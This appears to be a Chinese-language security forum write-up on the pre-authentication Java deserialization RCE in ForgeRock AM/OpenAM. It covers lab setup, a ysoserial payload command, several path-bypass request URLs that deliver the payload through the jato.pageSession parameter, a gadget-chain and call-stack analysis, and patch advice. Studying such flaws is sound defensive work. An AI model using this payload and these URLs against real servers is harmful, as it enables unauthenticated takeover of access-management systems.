0x00漏洞描述ForgeRock AM是一个开源的访问管理、权限控制平台,在大学、社会组织中存在广泛的应用。[![](https//shs3.b.qianxin.com/attack_forum/2021/09/attach-6c549a9e3a8da345a0…
0x00漏洞描述
ForgeRock AM是一个开源的访问管理、权限控制平台,在大学、社会组织中存在广泛的应用。
ForgeRock AM服务器的to.pageSession参数中存在Java反序列化漏洞,未经身份验证的攻击者可以通过构造特殊的请求远程执行任意代码,并接管运行ForgeRockAM的服务器。
0x01影响版本
ForgeRock AM >=5.0.0 <6.5.3
ForgeRock OpenAM >=9.0.0 <14.6.3
0x02环境搭建
本次漏洞环境搭建采用官网14.6.2版本的环境 https://github.com/OpenIdentityPlatform/OpenAM/releases ,将下载的war导入进tomcat,tomcat启动即可。
创建默认配置,配置完成即来到主页面
0x03漏洞复现
本次漏洞复现采用以下两种利用方式
bp发包
首先在攻击机利用ysoserial反序列化工具生成相应的payload
java -jar ysoserial.jar Click1 "calc" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
将payload复制并去除换行符,带入漏洞url中
GET /openam2/oauth2/..;/ccversion/Version?jato.pageSession=PAYLOAD
GET /openam2/oauth2/..///ccversion/Version?jato.pageSession=
GET /openam2/oauth2///..///ccversion/Version?jato.pageSession=
GET /openam2/oauth2/..;;;;;/ccversion/Version?jato.pageSession=
GET /openam2/oauth2/..//;/ccversion/Version?jato.pageSession=
GET /openam2/oauth2/../ccversion/Version?jato.pageSession=
GET /openam2/ccversion/Version?jato.pageSession=
以上任意一种url均能利用成功
脚本利用
该EXP取自:https://www.exploit-db.com/exploits/50131
利用效果如图
0x04漏洞分析
本次漏洞分析环境即利用idea本地搭建、debug该项目。关于idea怎么运行war可参考:https://www.cxyzjd.com/article/qq_40389276/99405852
通过漏洞关键代码的描述,可以先找到漏洞利用关键入口,即 jato.pageSession 参数取值,可以看到参数值首先会经过 jato.util.Encoder 的 decodehttp64 方法进行解码,再由 Encoder.deserialize 进行反序列化的处理成会话属性,进而在内部由 ObjectInputStream 执行该反序列化内容
带入 decodeHtpp64.decompress() 方法的处理,得到byte类型的payload
接下来进入 Encoder.deserialize() 做处理,将上一步转换出来的byte数组以 ApplicationObjectInputStream 的 readObject 方法去序列化恢复读取该对象
refObject.getclass().getClassLoader() 即获取当前对象所属的Class对象的类装载器,接下来就是围绕着利用ysoserial工具生成的payload做调用链的跟进
以下是从 readObject 到 Runtime.exec 的最终执行路径
java.util.PriorityQueue.readObject()
...
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Table
org.apache.click.util.PropertyUtils.getValue()
...
java.lang.reflect.Method.invoke()
...
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
...
ClassLoader.defineClass()
Class.newInstance()
...
Runtime.exec()
继续跟进
最后来到 invokeReadObject 方法中的 readObjectMethod 即是java.util.PriorityQueue.readObject(java.io.ObjectInputStream),在该方法内部完成了以上调用链并弹出计算器
以下便是从获取url到payload成功执行的函数调用栈
invokeReadObject:1060, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:359, Encoder (com.iplanet.jato.util)
deserializePageAttributes:934, ViewBeanBase (com.iplanet.jato.view)
invokeRequestHandler:568, ViewBeanBase (com.iplanet.jato.view)
dispatchRequest:957, ApplicationServletBase (com.iplanet.jato)
processRequest:615, ApplicationServletBase (com.iplanet.jato)
doGet:459, ApplicationServletBase (com.iplanet.jato)
service:635, HttpServlet (javax.servlet.http)
...
0x05修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://backstage.forgerock.com/knowledge/kb/article/a47894244
0x06参考链接
https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
- 本文作者: w1nk1
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/676
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!